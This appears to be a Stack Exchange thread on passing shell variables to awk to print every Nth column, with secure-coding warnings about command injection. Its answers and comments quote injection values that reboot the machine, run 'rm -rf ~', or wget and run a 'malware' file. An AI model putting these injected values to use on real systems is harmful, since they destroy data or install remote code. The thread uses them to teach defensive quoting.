5

I am trying to write a script to print every N columns of a file by giving the starting column, incremental value and file name as run time parameters. Below is my script:

file=$1 st=$2 inc=$3 echo $file echo $st echo $inc awk '{for (i = $st; i <= NF; i += $inc) printf ("%s%c", $i, i + $inc <= NF ? " " : "\n");}' $file 

I am not able to get the result. Could any one help me? My inputs can be like script.sh file_name 1 4

Thanks in advance.:-)

2 Answers 2

9

Shell variables don't automagically become awk variables (also in awk, variables are expressed as var, not $var which is the varth field). If you want to pass shell variable to awk, a simple approach is to use the environment:

#! /bin/sh - file=$1 ST=$2 INC=$3 export ST INC awk ' { sep = "" for (i = ENVIRON["ST"]; i <= NF; i += ENVIRON["INC"]) { printf "%c%s", sep, $i sep = OFS } printf "\n" }' < "$file" 

Remember to quote your shell variables and that awk can't get arbitrary file names as argument (as it treats some of those with a = in them or one called - specially).

An alternative for passing variables to awk is to use -v awkvar="$shellvar" or awkvar="$shellvar" arguments after the awk script, but those can't be used for arbitrary strings as escape sequences are expanded in them (\\ becomes \ and \n becomes a newline for instance) and with GNU awk 4.2 or above, values that start with @/ and end in / are treated specially unless in POSIX mode.

awk -v st="$st" -v inc="$inc" '{for (i = st; i <= NF; i += inc)...}' < "$file" 

or

awk '{for (i = st; i <= NF; i += inc)...}' st="$st" inc="$inc" < "$file" 

would be OK here as those variables are only meant to contain numbers (so no backslash).

Whatever you do, don't do:

awk 'for (i = '"$st"'; i <= NF; i += '"$inc"')...' 

let alone

awk 'for (i = '$st'; i <= NF; i += '$inc')...' 

that is have the shell expand the values of the $st and $inc variables in the code passed to awk, as that makes command injection vulnerabilities (for instance for values of st like system("reboot")).

3

I have corrected your script so that now it works. There were two errors. (a) you have to pass shell variables to awk manually (this is done using -v awk_var="$shell_var" syntax) and (b) you should not use $ for denoting a variable, $ sign is used only for field position.

file=$1 st=$2 inc=$3 echo $file echo $st echo $inc awk -v st="$st" -v inc="$inc" '{for (i = st; i <= NF; i += inc) printf ("%s%c", $i, i + inc <= NF ? " " : "\n");}' $file 
11
  • 1
    awk -v st=$st is also a command injection vulnerability, for instance with values of $st like x BEGIN{system("reboot")}. That's one of the examples given at Security implications of forgetting to quote a variable in bash/POSIX shells Commented Sep 28, 2017 at 12:19
  • Thank you for this valuable comment, Stephane. I changed the script according to your suggestion. Commented Sep 28, 2017 at 12:28
  • 1
    1. I completely agree that the original script is not perfect and there are many things, which can be corrected. But my goal was to make as few changes as possible in order to make it work so that the author can learn something from my answer. 2. I am already reading this interesting "Q&A". I am an intelligent person and don't need the things to be repeated twice. 3. Passing "BEGIN{system("reboot")}" does nothing in my bash shell. I suggest you to test things before writing. 4. echo in the original script is for testing purposes and most people do not work for CIA or FBI. Commented Sep 28, 2017 at 12:45
  • 1
    About your 3rd point, the problem is with st='x BEGIN{system("reboot")}'; awk -v st=$st whatever for instance (with the default value of $IFS in a bourne-like shell other than zsh). Again, that's in the linked Q&A. Commented Sep 28, 2017 at 13:01
  • 1
    the superuser part is not very relevant here (and some systems allow non-superusers to reboot provided it's from a locally logged session; I use reboot in examples as at worse it's not such a malicious command but shows the point), as it's the same kind of problem with x BEGIN{system("rm\40-rf\40~")} or a more common worm-like x BEGIN{system("wget\40http://some/malware;perl\40./malware")}. The point is it is arbitrary code execution, the worst type of vulnerability you can imagine. But in the end, its about good coding practice: "quote your variables". Commented Sep 28, 2017 at 20:09

You must log in to answer this question.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.